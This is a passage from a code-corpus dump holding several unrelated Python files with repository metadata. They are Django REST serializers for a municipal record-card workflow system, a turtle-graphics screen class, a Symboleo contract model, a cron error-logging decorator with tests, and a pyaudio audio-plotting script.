RecordCardUrgencySerializer(GetGroupFromRequestMixin, serializers.ModelSerializer):\n class Meta:\n model = RecordCard\n fields = (\"id\", \"urgent\")\n\n def save(self, **kwargs):\n with transaction.atomic():\n self.instance = super().save(**kwargs)\n group = self.get_group_from_request(self.context[\"request\"])\n if self.instance.urgent:\n message = _(\"RecordCard set to urgent\")\n self.instance.alarm = True\n self.instance.save()\n else:\n message = _(\"RecordCard set to NO urgent\")\n if not RecordCardAlarms(self.instance, group).check_alarms([\"urgent\"]):\n self.instance.alarm = False\n self.instance.save()\n Comment.objects.create(record_card=self.instance, comment=message, group=group,\n reason_id=Reason.RECORDCARD_URGENCY_CHANGE,\n user_id=get_user_traceability_id(self.context[\"request\"].user))\n return self.instance\n\n\nclass RecordCardReasignableSerializer(serializers.ModelSerializer):\n class Meta:\n model = RecordCard\n fields = (\"id\", \"reassignment_not_allowed\")\n\n\nclass RecordManagementIndicatorsBaseSerializer(serializers.Serializer):\n pending_validation = serializers.IntegerField()\n processing = serializers.IntegerField()\n expired = serializers.IntegerField()\n near_expire = serializers.IntegerField()\n\n\nclass RecordManagementChildrenIndicatorsSerializer(RecordManagementIndicatorsBaseSerializer):\n group_id = serializers.IntegerField()\n group_name = serializers.CharField()\n\n\nclass RecordCardManagementAmbitIndicatorsSerializer(RecordManagementIndicatorsBaseSerializer):\n childrens = RecordManagementChildrenIndicatorsSerializer(many=True)\n\n\nclass RecordCardManagementIndicatorsSerializer(RecordManagementIndicatorsBaseSerializer):\n urgent = serializers.IntegerField()\n\n\nclass RecordCardMonthIndicatorsSerializer(serializers.Serializer):\n pending_validation = serializers.IntegerField()\n processing = serializers.IntegerField()\n closed = serializers.IntegerField()\n cancelled = serializers.IntegerField()\n external_processing = serializers.IntegerField()\n pending_records = serializers.IntegerField()\n average_close_days = serializers.IntegerField()\n average_age_days = serializers.IntegerField()\n entries = serializers.IntegerField()\n\n\nclass RecordCardTraceabilitySerializer(serializers.Serializer):\n TYPE_STATE = \"state_history\"\n TYPE_REC_COMMENT = \"record_comment\"\n TYPE_WKF_COMMENT = \"worflow_comment\"\n TYPE_REASIGN = \"reasignation\"\n\n type = serializers.ChoiceField(choices=[TYPE_STATE, TYPE_REC_COMMENT, TYPE_WKF_COMMENT])\n created_at = serializers.DateTimeField()\n user_id = serializers.CharField()\n group_name = serializers.CharField(allow_null=True)\n\n previous_state = serializers.IntegerField(required=False)\n next_state = serializers.IntegerField(required=False)\n automatic = serializers.BooleanField(required=False)\n reason = serializers.IntegerField(required=False, allow_null=True)\n comment = serializers.CharField(required=False)\n task = serializers.CharField(required=False)\n previous_responsible = serializers.CharField(required=False)\n next_responsible = serializers.CharField(required=False)\n\n\nclass RecordCardCheckSerializer(serializers.Serializer):\n can_confirm = serializers.BooleanField()\n reason = serializers.CharField(allow_null=True, allow_blank=True)\n next_state = serializers.PrimaryKeyRelatedField(\n queryset=RecordState.objects.filter(enabled=True),\n error_messages={\n \"does_not_exist\": _(\"The selected RecordState does not exist or is not enabled\"),\n })\n next_group = GroupShortSerializer()\n different_ambit = serializers.BooleanField()\n\n\nclass RecordCardValidateCheckSerializer(RecordCardCheckSerializer):\n possible_similar = RecordCardCodeSerializer(many=True)\n send_external = serializers.BooleanField(default=False, required=False)\n\n\nclass RecordCardClaimCheckSerializer(RecordCardCheckSerializer):\n claim_type = serializers.CharField(allow_null=True)\n reason_comment_id = serializers.IntegerField(required=False)\n\n\nclass RecordCardCancelSerializer(serializers.Serializer):\n reason = serializers.PrimaryKeyRelatedField(\n queryset=Reason.objects.filter(reason_type=Reason.TYPE_1),\n error_messages={\n \"does_not_exist\": _(\"The selected Reason does not exist or is not enabled\"),\n })\n comment = serializers.CharField(validators=[WordsLengthValidator(words=2, words_length=4)])\n duplicated_record_card = serializers.CharField(required=False, allow_blank=True)\n\n def run_validation(self, data=empty):\n \"\"\"\n We override the default `run_validation`, because the validation\n performed by validators and the `.validate()` method should\n be coerced into an error dictionary with a \"non_fields_error\" key.\n \"\"\"\n validated_data = super().run_validation(data)\n reason_id = validated_data[\"reason\"].pk\n\n if \"group\" not in self.context:\n raise ValidationError({\"reason\": _(\"Group is needed for data validation\")})\n\n duplicity_repetition_reason_id = int(Parameter.get_parameter_by_key(\"DEMANAR_FITXA\", 1))\n expiration_reason_id = int(Parameter.get_parameter_by_key(\"REABRIR_CADUCIDAD\", 17))\n\n if reason_id == Reason.VALIDATION_BY_ERROR:\n self.check_validation_error_reason()\n elif reason_id == expiration_reason_id:\n self.check_expiration_reason()\n elif reason_id == duplicity_repetition_reason_id:\n self.check_duplicity_cancel_reason(validated_data)\n\n return validated_data\n\n def check_validation_error_reason(self):\n \"\"\"\n Method to check validation by error reason on RecordCard Cancel\n \"\"\"\n record_card = self.context[\"record_card\"]\n if not record_card.is_validated:\n raise ValidationError({\"reason\": _(\"A RecordCard pending to validate can not be cancelled with \"\n \"Reason 'Validation By Error ({})'\").format(Reason.VALIDATION_BY_ERROR)})\n elif record_card.has_expired(self.context[\"group\"]):\n expiration_reason_id = Parameter.get_parameter_by_key(\"REABRIR_CADUCIDAD\", 17)\n raise ValidationError({\"reason\": _(\"A RecordCard that has expired can not be cancelled with \"\n \"Reason 'Validation By Error ({})'. RecordCard must be cancelled by \"\n \"Reason 'Expiration ({})'\").format(\n Reason.VALIDATION_BY_ERROR, expiration_reason_id)})\n elif self.context[\"group\"] not in record_card.responsible_profile.get_ancestors(include_self=True):\n raise ValidationError({\"reason\": _(\"The group {} is not allowed to cancel the RecordCard by \"\n \"'Validation by Error' because it's not its responsible profile \"\n \"or a superior of it\")})\n elif self.exceed_max_days_in_ambit(record_card):\n raise ValidationError({\"reason\": _(\"RecordCard can not be cancelled by 'Validation by Error' because it\"\n \" has exceeded the maximum number of days on it's ambit\")})\n\n def check_expiration_reason(self):\n \"\"\"\n Method to check expiration reason on RecordCard Cancel\n \"\"\"\n record_card = self.context[\"record_card\"]\n if not record_card.has_expired(self.context[\"group\"]):\n expiration_reason_id = Parameter.get_parameter_by_key(\"REABRIR_CADUCIDAD\", 17)\n raise ValidationError({\"reason\": _(\"A RecordCard that has not expired can not be cancelled with \"\n \"Reason 'Cancelled because expiration ({})'\").format(\n expiration_reason_id)})\n\n def check_duplicity_cancel_reason(self, validated_data):\n \"\"\"\n Method to check duplicity reason on RecordCard Cancel\n \"\"\"\n if not validated_data.get(\"duplicated_record_card\"):\n raise ValidationError({\n \"duplicated_record_card\": _(\"Duplicated record card is mandatory for cancel by duplicity.\")\n })\n try:\n duplicated_record_card = RecordCard.objects.get(\n normalized_record_id=validated_data.get(\"duplicated_record_card\"))\n except RecordCard.DoesNotExist:\n raise ValidationError({\"duplicated_record_card\": _(\"RecordCard with code {} does not exist\").format(\n validated_data.get(\"duplicated_record_card\"))})\n\n if self.different_applicant(duplicated_record_card):\n raise ValidationError(\n {\"duplicated_record_card\": _(\"RecordCard can not be cancelled because of duplicity reason\"\n \" due to different applicants\")})\n if duplicated_record_card.record_state_id == RecordState.CANCELLED:\n raise ValidationError(\n {\"duplicated_record_card\": _(\"RecordCard can not be cancelled because of duplicity due to \"\n \"duplicated record card has been cancelled previously\")})\n if duplicated_record_card.pk == self.context[\"record_card\"].pk:\n raise ValidationError(\n {\"duplicated_record_card\": _(\"RecordCard can not be cancelled because of duplicity due to \"\n \"duplicated record card code is its own one\")})\n\n def different_applicant(self, duplicated_record_card):\n \"\"\"\n\n :param duplicated_record_card:\n :return: True if applicants are different, False if applicant are the same\n \"\"\"\n record_applicant = self.context[\"record_card\"].request.applicant\n duplicated_record_applicant = duplicated_record_card.request.applicant\n if record_applicant.citizen and duplicated_record_applicant.citizen:\n return record_applicant.citizen.legal_id != duplicated_record_applicant.citizen.legal_id\n elif record_applicant.social_entity and duplicated_record_applicant.social_entity:\n return record_applicant.social_entity.legal_id != duplicated_record_applicant.social_entity.legal_id\n else:\n return True\n\n @staticmethod\n def exceed_max_days_in_ambit(record_card):\n \"\"\"\n Check if a record card has exceeded the max days in ambit to be cancelled\n\n :param record_card: record being cancelled\n :return: True if record has exceeded the max days in ambit to be cancelled. Else False\n \"\"\"\n cancel_ambit_value = int(Parameter.get_parameter_by_key(\"ANULACION_AMBIT_VALUE\", 10))\n if cancel_ambit_value == -1:\n return False\n return record_card.days_in_ambit > cancel_ambit_value\n\n @staticmethod\n def lower_than_min_days_in_ambit(record_card):\n \"\"\"\n\n :param record_card: record being cancelled\n :return: True if record has been less than the limit in ambit to be cancelled. Else False\n \"\"\"\n min_days_in_ambit = int(Parameter.get_parameter_by_key(\"DIES_PER_VALIDACIO\", 1))\n if min_days_in_ambit == -1:\n return False\n return record_card.days_in_ambit > min_days_in_ambit\n\n\nclass RecordCardReasignationSerializer(SerializerCreateExtraMixin, serializers.ModelSerializer):\n extra_actions = True\n post_create_extra_actions = True\n post_data_keys = [\"allow_multiderivation\"]\n\n allow_multiderivation = serializers.BooleanField(required=False, default=False)\n\n class Meta:\n model = RecordCardReasignation\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"record_card\", \"group\", \"previous_responsible_profile\",\n \"next_responsible_profile\", \"reason\", \"comment\", \"allow_multiderivation\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"group\", \"previous_responsible_profile\")\n\n def validate(self, attrs):\n request = self.context.get(\"request\")\n record_card = attrs.get(\"record_card\")\n RecordCardReasignation.check_different_responsible_profiles(record_card.responsible_profile_id,\n attrs.get(\"next_responsible_profile\").pk)\n RecordCardReasignation.check_recordcard_reasignment_not_allowed(record_card)\n if request:\n if not hasattr(request.user, \"usergroup\"):\n raise ValidationError({\"group\": _(\"User has to be asigned to a group to be able to do a reasignation\")})\n\n outside_ambit_perm = IrisPermissionChecker.get_for_user(request.user).has_permission(\n RECARD_REASSIGN_OUTSIDE\n )\n RecordCardReasignation.check_reasignation_in_allowed_reasignations(\n record_card, attrs.get(\"next_responsible_profile\"), self.context[\"request\"].user.usergroup.group,\n outside_perm=outside_ambit_perm\n )\n\n return attrs\n\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n element_detail = validated_data[\"record_card\"].element_detail\n if validated_data.get(\"allow_multiderivation\") and not element_detail.allow_multiderivation_on_reassignment:\n raise ValidationError({\"allow_multiderivation\": _(\n \"Allow multiderivation can not be set because record's theme does not allow it\")})\n return validated_data\n\n def do_extra_actions_on_create(self, validated_data):\n \"\"\"\n Perform extra actions on create\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n # request check at validate method\n validated_data[\"group\"] = self.context[\"request\"].user.usergroup.group\n validated_data[\"previous_responsible_profile\"] = validated_data[\"record_card\"].responsible_profile\n\n def do_post_create_extra_actions(self, instance, validated_data):\n \"\"\"\n After register the reasignation, we reasign the record_card amd mark it as reasgined\n :param instance: Instance of the created object\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n record_card = instance.record_card\n instance.record_card.responsible_profile = instance.next_responsible_profile\n filter_kwargs = {'id': instance.record_card_id}\n # If record belongs to a workflow, we have to reassign all the record from the workflow\n if record_card.workflow:\n filter_kwargs = {'workflow_id': record_card.workflow_id}\n with transaction.atomic():\n records = RecordCard.objects.filter(**filter_kwargs)\n # Create a reassignation entry for every extra record in the workflow\n extra_reassignations = [RecordCardReasignation(**{\n **validated_data,\n 'record_card_id': rc.pk,\n }) for rc in records if rc.pk != record_card.pk]\n RecordCardReasignation.objects.bulk_create(extra_reassignations)\n # When the responsible profile change, all RecordCardConversations have to be closed\n records.update(\n responsible_profile_id=instance.next_responsible_profile_id,\n user_displayed=\"\",\n allow_multiderivation=self.initial_data.get(\"allow_multiderivation\", False),\n reasigned=True,\n alarm=True,\n )\n for record in records:\n record.close_record_conversations()\n # Allocate notifications outside the transaction since they are not critical\n for record in records:\n send_allocated_notification.delay(instance.next_responsible_profile_id, record.pk)\n\n\nclass CheckFileExtensionsMixin:\n\n @staticmethod\n def allowed_files_extensions():\n return Parameter.get_parameter_by_key(\"EXTENSIONS_PERMESES_FITXERS\",\n \"jpg,jpeg,png,pdf,docx,xls,odt,xlsx,ods\").split(\",\")\n\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n file_extension = validated_data.get(\"filename\", \"\").split(\".\")[-1]\n if file_extension.lower() not in self.allowed_files_extensions():\n raise ValidationError({\"filename\": _(\"File extension is not allowed\")}, code=\"invalid\")\n\n return validated_data\n\n\nclass RecordChunkedFileSerializer(SerializerCreateExtraMixin, GetGroupFromRequestMixin, CheckFileExtensionsMixin,\n ChunkedUploadSerializer):\n record_card_id = serializers.PrimaryKeyRelatedField(\n source=\"record_card\", queryset=RecordCard.objects.filter(enabled=True),\n error_messages={\"does_not_exist\": _(\"The selected record card does not exist or is not enabled\")})\n record_file_id = serializers.SerializerMethodField()\n record_card = RecordCardShortListSerializer(read_only=True)\n\n class Meta:\n model = RecordChunkedFile\n fields = (\"id\", \"created_at\", \"status\", \"completed_at\", \"record_card_id\",\n \"record_card\", \"file\", \"filename\", \"offset\", \"url\", \"record_file_id\", \"file_type\")\n read_only_fields = (\"id\", \"created_at\", \"status\", \"completed_at\", \"md5\", \"record_file_id\")\n\n def get_url(self, obj):\n url = reverse(\"private_api:record_cards:record_card_file_upload_chunk\",\n kwargs={\"pk\": obj.id}, request=self.context[\"request\"])\n # todo: workaround of X-FORWARDED-PROTO incorrect in enviroments\n if not settings.DEBUG:\n url = url.replace(\"http://\", \"https://\")\n return url\n\n def get_record_file_id(self, obj):\n return getattr(obj, \"record_file_id\", None)\n\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n errors = {}\n user_group = self.get_group_from_request(self.context.get(\"request\"))\n if not GroupManageFiles(validated_data[\"record_card\"], user_group,\n self.context[\"request\"].user).group_can_add_file():\n errors[\"record_card\"] = _(\"Only the responsible profile of the Record Card can upload a file\")\n\n self.check_record_number_files(validated_data, errors)\n\n if errors:\n raise ValidationError(errors, code=\"invalid\")\n\n return validated_data\n\n @staticmethod\n def check_record_number_files(validated_data, errors):\n record_card = validated_data.get(\"record_card\")\n record_files = record_card.recordfile_set.count()\n max_files = int(Parameter.get_parameter_by_key(\"API_MAX_FILES\", 5))\n if record_files >= max_files:\n errors[\"record_card\"] = _(\"The file can not be uploaded because the record has the \"\n \"maximum number of files {}\").format(max_files)\n\n\nclass RecordFileShortSerializer(serializers.ModelSerializer):\n can_delete = serializers.BooleanField(source=\"can_be_deleted\", required=False, read_only=True)\n\n class Meta:\n model = RecordFile\n fields = (\"id\", \"file\", \"filename\", \"file_type\", \"delete_url\", \"can_delete\", \"created_at\")\n read_only_fields = fields\n\n\nclass WorkflowSerializer(RecordCardWorkflowSerializer):\n record_cards = RecordCardShortListSerializer(many=True, source=\"recordcard_set\")\n\n class Meta:\n model = Workflow\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"main_record_card\", \"state\", \"close_date\", \"visual_user\",\n \"element_detail_modified\", \"comments\", \"record_cards\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\")\n\n\nclass WorkflowPlanSerializer(serializers.Serializer):\n responsible_profile = serializers.CharField(required=False, allow_blank=True)\n start_date_process = serializers.DateField(required=False, allow_null=True)\n comment = serializers.CharField(validators=[WordsLengthAllowBlankValidator(words=2, words_length=4)])\n action_required = serializers.BooleanField(default=True, required=False)\n\n\nclass WorkflowPlanReadSerializer(serializers.ModelSerializer):\n class Meta:\n model = WorkflowPlan\n fields = (\"responsible_profile\", \"start_date_process\", \"action_required\")\n read_only_fields = (\"responsible_profile\", \"start_date_process\", \"action_required\")\n\n\nclass WorkflowResoluteExtraFieldsSerializer(serializers.ModelSerializer):\n workflow_resolution_id = serializers.IntegerField(required=True)\n resolution_date_end = serializers.DateTimeField(required=False, allow_null=True)\n ubication_start = UbicationSerializerMobile(required=False)\n ubication_end = UbicationSerializerMobile(required=False)\n\n class Meta:\n model = WorkflowResolutionExtraFields\n fields = (\"workflow_resolution_id\", \"resolution_date_end\", \"ubication_start\", \"ubication_end\")\n\n def save_ubication(self, ubication_dict):\n ubication_ser = UbicationSerializerMobile\n ubication = ubication_ser(data=ubication_dict)\n if ubication.is_valid():\n ub = ubication.save()\n return ub\n else:\n return Response({\"detail\": \"The ubication is not valid\", \"errors\": ubication.errors},\n status=HTTP_400_BAD_REQUEST)\n\n\nclass WorkflowResoluteSerializer(serializers.Serializer):\n service_person_incharge = serializers.CharField(required=False, allow_blank=True, default=\"\")\n resolution_type = serializers.IntegerField()\n resolution_date = serializers.DateTimeField(input_formats=(\"%Y-%m-%d %H:%M\",), required=False, allow_null=True)\n resolution_comment = serializers.CharField(required=True, allow_blank=False,\n validators=[WordsLengthValidator(words=2, words_length=4)])\n\n class Meta:\n fields = (\"service_person_incharge\", \"resolution_type\", \"resolution_date\", \"resolution_comment\")\n\n def run_validation(self, data=empty):\n \"\"\"\n We override the default `run_validation`, because the validation\n performed by validators and the `.validate()` method should\n be coerced into an error dictionary with a \"non_fields_error\" key.\n \"\"\"\n resolution_types_enabled_ids = ResolutionType.objects.all().values_list(\"id\", flat=True)\n if data.get(\"resolution_type\") not in resolution_types_enabled_ids:\n raise ValidationError({\"resolution_type\": _(\"Incorrect value. Choose an enabled Resolution Type\")})\n\n requires_appointment = self.context[\"record_card\"].element_detail.requires_appointment\n if requires_appointment:\n\n if not data.get(\"resolution_date\"):\n raise ValidationError(\n {\"resolution_date\": _(\"A RecordCard that requires an appointment needs the \"\n \"appointment date&time\")})\n\n if not data.get(\"service_person_incharge\"):\n raise ValidationError(\n {\"service_person_incharge\": _(\"A RecordCard that requires an appointment needs \"\n \"the appointment person\")})\n\n return super().run_validation(data)\n\n\nclass WorkflowResoluteDraftSerializer(serializers.Serializer):\n service_person_incharge = serializers.CharField(required=False)\n resolution_type = serializers.IntegerField(required=False)\n resolution_date = serializers.DateTimeField(input_formats=(\"%Y-%m-%d %H:%M\",), required=False, allow_null=True)\n resolution_comment = serializers.CharField(required=False, allow_blank=False,\n validators=[WordsLengthValidator(words=2, words_length=4)])\n\n class Meta:\n fields = (\"service_person_incharge\", \"resolution_type\", \"resolution_date\", \"resolution_comment\")\n\n def run_validation(self, data=empty):\n \"\"\"\n We override the default `run_validation`, because the validation\n performed by validators and the `.validate()` method should\n be coerced into an error dictionary with a \"non_fields_error\" key.\n \"\"\"\n if \"resolution_type\" in data:\n resolution_types_enabled_ids = ResolutionType.objects.all().values_list(\"id\", flat=True)\n if data.get(\"resolution_type\") not in resolution_types_enabled_ids:\n raise ValidationError({\"resolution_type\": _(\"Incorrect value. Choose an enabled Resolution Type\")})\n\n return super().run_validation(data)\n\n\nclass WorkflowResolutionSerializer(IrisSerializer, serializers.ModelSerializer):\n class Meta:\n model = WorkflowResolution\n fields = (\"service_person_incharge\", \"resolution_type\", \"resolution_date\", \"is_appointment\", \"can_delete\")\n read_only = (\"service_person_incharge\", \"resolution_type\", \"resolution_date\", \"is_appointment\", \"can_delete\")\n\n\nclass RecordCardWillBeSolvedSerializer(serializers.Serializer):\n applicant = serializers.IntegerField()\n\n def update(self, instance, validated_data):\n pass\n\n def create(self, validated_data):\n pass\n\n class Meta:\n fields = (\"applicant\",)\n\n\nclass WorkflowResoluteSimpleSerializer(serializers.Serializer):\n service_person_incharge = serializers.CharField(required=False, allow_blank=True, default=\"\")\n resolution_type = ResolutionTypeSerializer()\n resolution_date = serializers.DateTimeField(input_formats=(\"%Y-%m-%d %H:%M\",), required=False, allow_null=True)\n\n class Meta:\n fields = (\"service_person_incharge\", \"resolution_type\", \"resolution_date\")\n\n\nclass WorkflowFieldsSerializer(RecordCardWorkflowSerializer):\n workflow_resolute = WorkflowResoluteSimpleSerializer(source=\"workflowresolution\")\n workflowresolutionextrafields = serializers.SerializerMethodField()\n\n class Meta:\n model = Workflow\n fields = (\"id\", \"main_record_card\", \"state\", \"comments\", \"workflow_resolute\", \"workflowresolutionextrafields\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\")\n\n def get_workflowresolutionextrafields(self, workflow):\n try:\n obj = WorkflowResolutionExtraFields.objects.get(workflow_resolution=workflow.workflowresolution)\n return WorkflowResoluteExtraFieldsSerializer(obj).data\n except Exception as e:\n return None\n\n\nclass TwitterRecordSerializer(RecordCardSerializer):\n description = serializers.CharField(required=False, default='', allow_blank=True)\n","repo_name":"AjuntamentdeBarcelona/iris","sub_path":"src/record_cards/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":140617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"9275020739","text":"from turtle import Screen\n\n# Declare variable and CONSTANT\nX_SCREEN = 600\nY_SCREEN = 600\nSCREEN_COLOR = \"#000000\"\nSCREEN_TITLE = \"Turtle Crossing\"\n\nup = \"Up\"\n\nx_coordinate = X_SCREEN // 2\ny_coordinate = Y_SCREEN // 2\n\n\n# Class MyScreen\nclass MyScreen:\n \"\"\"Class MyScreen\n # Instance\n list_of_window, this_window, x_coord, y_coord\n Method:\n create_window, listen_player\n \"\"\"\n def __init__(self):\n self.list_of_window = []\n self.create_window()\n self.this_window = self.list_of_window[0]\n self.x_coord = x_coordinate\n self.y_coord = y_coordinate\n\n # Method to create window\n def create_window(self):\n \"\"\"Method to create window\"\"\"\n window = Screen()\n window.colormode(255)\n window.setup(X_SCREEN, Y_SCREEN)\n window.bgcolor(SCREEN_COLOR)\n window.title(SCREEN_TITLE)\n window.tracer(0)\n self.list_of_window.append(window)\n\n # Method to listen onkey press\n def listen_player(self, player):\n \"\"\"Method to listen onkey press\n player -> object\n \"\"\"\n for screen in self.list_of_window:\n screen.listen()\n screen.onkey(player.player_up, up)\n","repo_name":"resole79/turtles_crossing","sub_path":"display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29012570250","text":"from __future__ import annotations\nfrom typing import List\nfrom app.classes.spec.contract_spec import ContractSpec\nfrom app.classes.spec.domain_model import DomainModel\nfrom app.classes.spec.domain_object import Role, DomainEvent, Asset, DomainObject\nfrom app.classes.spec.norm import INorm, Norm\nfrom app.classes.spec.norm_config import NormConfig\nfrom app.classes.spec.contract_spec_parameter import ContractSpecParameter\nfrom app.classes.spec.declaration import Declaration\nfrom app.classes.spec.nl_template import NLTemplate\n\nfrom app.classes.operations.contract_update_obj import ContractUpdateObj\n\n# XText link: https://github.com/Smart-Contract-Modelling-uOttawa/Symboleo-IDE/blob/master/ca.uottawa.csmlab.symboleo/src/ca/uottawa/csmlab/symboleo/Symboleo.xtext\n\nclass ISymboleoContract:\n def to_sym(self):\n raise NotImplementedError()\n def get_norm_configs_by_key(self, nl_key: str, parm_key: str) -> List[NormConfig]:\n raise NotImplementedError()\n def run_updates(self, update: ContractUpdateObj):\n raise NotImplementedError()\n def update_nl(self, nl_key: str, parm_key: str, nl_refinement: str):\n raise NotImplementedError()\n\n\nclass SymboleoContract(ISymboleoContract):\n def __init__(\n self, \n domain_model: DomainModel, \n contract_spec: ContractSpec, \n nl_template: NLTemplate\n ):\n self.domain_model = domain_model\n self.contract_spec = contract_spec\n self.nl_template = nl_template\n\n def to_sym(self):\n return f'{self.domain_model.to_sym()}\\n\\n{self.contract_spec.to_sym()}'\n \n\n def get_norm_configs_by_key(self, nl_key: str, parm_key: str) -> List[NormConfig]:\n results = []\n \n parm_configs = self.nl_template.template_dict[nl_key].parameters[parm_key]\n\n for parm_config in parm_configs:\n norm_type = parm_config.norm_type\n norm_id = parm_config.norm_id\n next_norm: Norm = self.contract_spec.__dict__[norm_type][norm_id]\n next_nc = NormConfig(next_norm, parm_config)\n results.append(next_nc)\n \n return results\n\n def run_updates(self, update: ContractUpdateObj):\n for x in update.domain_objects:\n self._add_dm_object(x) # Might make this internal\n\n for x in update.declarations:\n self._add_declaration(x) # Might make this internal\n\n for x in update.contract_parms:\n self._add_contract_parm(x)\n\n for x in update.norms:\n self._update_norm(x)\n\n def update_nl(self, nl_key: str, parm_key: str, nl_refinement: str): \n t = self.nl_template.template_dict\n old_str = t[nl_key].str_val\n t[nl_key].str_val = old_str.replace(f'[{parm_key}]', nl_refinement)\n\n # Mark the parm as being filled\n for pc in t[nl_key].parameters[parm_key]:\n pc.filled = True\n\n def __eq__(self, other: SymboleoContract) -> bool:\n return self.domain_model == other.domain_model and \\\n self.contract_spec == other.contract_spec and \\\n self.nl_template == other.nl_template\n\n def _get_type_key(self, type_str):\n d = {\n 'Obligation': 'obligations',\n 'Power': 'powers',\n 'SO': 'surviving_obligations'\n }\n return d[type_str]\n \n\n def _update_norm(self, norm: INorm):\n type_key = self._get_type_key(norm.norm_type.value)\n self.contract_spec.__dict__[type_key][norm.id] = norm\n\n\n def _add_contract_parm(self, csp: ContractSpecParameter):\n # Add any new parameters \n parm_names = [x.name for x in self.contract_spec.parameters]\n\n if csp.name not in parm_names:\n self.contract_spec.parameters.append(csp)\n\n def _add_declaration(self, declaration: Declaration):\n # Add the declaration\n self.contract_spec.declarations[declaration.name] = declaration \n \n\n def _add_dm_object(self, dmo: DomainObject):\n dm_dict = {\n DomainEvent: 'events',\n Asset: 'assets',\n Role: 'roles'\n }\n obj_type = dm_dict[type(dmo)]\n\n # Check to make sure it doesnt already exist...\n # If it exists, then maybe we just replace it ???\n if dmo.name not in self.domain_model.__dict__[obj_type]:\n self.domain_model.__dict__[obj_type][dmo.name] = dmo\n\n # Print the NL template strings and their corresponding symboleo norms\n def print_all_strings(self): # pragma: no cover\n for x in self.nl_template.template_dict:\n val = self.nl_template.template_dict[x]\n print(f'{x}: {val.str_val}')\n print('\\n')\n\n\n ","repo_name":"reganmeloche/symboleo-nlp","sub_path":"app/classes/spec/symboleo_contract.py","file_name":"symboleo_contract.py","file_ext":"py","file_size_in_byte":4688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39489523144","text":"import os\n\ndef cron_manager(method):\n def wrapped(*args, **kwargs):\n error_file = os.path.join(os.getenv(\"HOME\"),\n method.__name__+\"_error.log\")\n touch(error_file)\n error_msgs = get_error_msgs(error_file)\n prior_errors = len(error_msgs)\n try:\n method(*args, **kwargs)\n except Exception as e:\n # log the error\n with open(error_file, 'a') as f:\n f.write(\"%s\\n\"%e.__repr__())\n if prior_errors: # dont email if you are repeatedly failing\n pass\n else:\n # but send an email if it's a new error\n msg = \"Cronjob %s failed!\\n%s\"%(method.__name__,e.__repr__())\n raise(Exception(msg))\n else:\n # it worked!\n clear_log_file(error_file)\n if prior_errors:\n msg = \"Cronjob %s worked, after failing \"%method.__name__\n msg += \"%s times.\\n\\n\\n%s\"%(prior_errors,\n \"\\n\".join(error_msgs))\n raise(Exception(msg))\n\n wrapped.__name__ = method.__name__\n return wrapped\n\ndef get_error_msgs(file_name):\n with open(file_name, \"r\") as f:\n out = f.readlines()\n return out\n\ndef clear_log_file(file_name):\n with open(file_name, 'w') as f:\n f.write(\"\") \n\ndef touch(file_name):\n ''' pythonic equivalent of unix touch '''\n with open(file_name, 'a') as f:\n f.write(\"\") \n\n##### Testing ####\n\ndef threw_error(method, arg):\n try:\n method(arg)\n except Exception as e:\n return e\n\n return False\n\n@cron_manager\ndef _is_zero(i):\n assert i==0\n\ndef test():\n error_file = os.path.join(os.getenv(\"HOME\"),\n _is_zero.__name__+\"_error.log\")\n clear_log_file(error_file)\n\n _is_zero(0) # no errors thrown, because it worked\n assert not get_error_msgs(error_file) # no error msgs either\n\n out = threw_error(_is_zero, 1) # first time break, it should throw an exception\n assert type(out) is Exception\n assert out.__str__() == \"Cronjob _is_zero failed!\\nAssertionError()\"\n\n assert get_error_msgs(error_file) # and log the error\n\n _is_zero(1) # this should not raise an error, but should log it\n\n out = threw_error(_is_zero, 0) # now that it's working again, throw an error\n assert type(out) is Exception \n assert not get_error_msgs(error_file) # and clean up the log file so it's empty\n\n _is_zero(0) # this should not raise any more exceptions\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"gabegaster/python_cron_wrapper","sub_path":"cron_manager.py","file_name":"cron_manager.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31239290382","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = \"Christian Heider Nielsen\"\n__doc__ = r\"\"\"\n\n Created on 09-07-2021\n \"\"\"\n\nimport time\n\nimport numpy\nimport pyaudio\nimport pylab\n\nfrom modulation import PROJECT_APP_PATH\n\nRATE = 44100\nCHUNK = int(RATE / 20) # RATE / number of updates per second\n\nres_folder = PROJECT_APP_PATH.user_log\n\n\ndef soundplot(stream):\n \"\"\"\n\n :param stream:\n :type stream:\n \"\"\"\n t1 = time.time()\n data = numpy.frombuffer(stream.read(CHUNK), dtype=numpy.int16)\n pylab.plot(data)\n pylab.title(i)\n pylab.grid()\n pylab.axis([0, len(data), -(2**16) / 2, 2**16 / 2])\n pylab.show()\n pylab.savefig(str(res_folder / \"03.png\"), dpi=50)\n pylab.close(\"all\")\n print(f\"took {(time.time() - t1) * 1000:.02f} ms\")\n\n\nif __name__ == \"__main__\":\n p = pyaudio.PyAudio()\n stream = p.open(\n format=pyaudio.paInt16,\n channels=1,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK,\n )\n for i in range(int(20 * RATE / CHUNK)): # do this for 10 seconds\n soundplot(stream)\n stream.stop_stream()\n stream.close()\n p.terminate()\n","repo_name":"cnheider/modulation","sub_path":"samples/unsorted/file_plot_period.py","file_name":"file_plot_period.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} 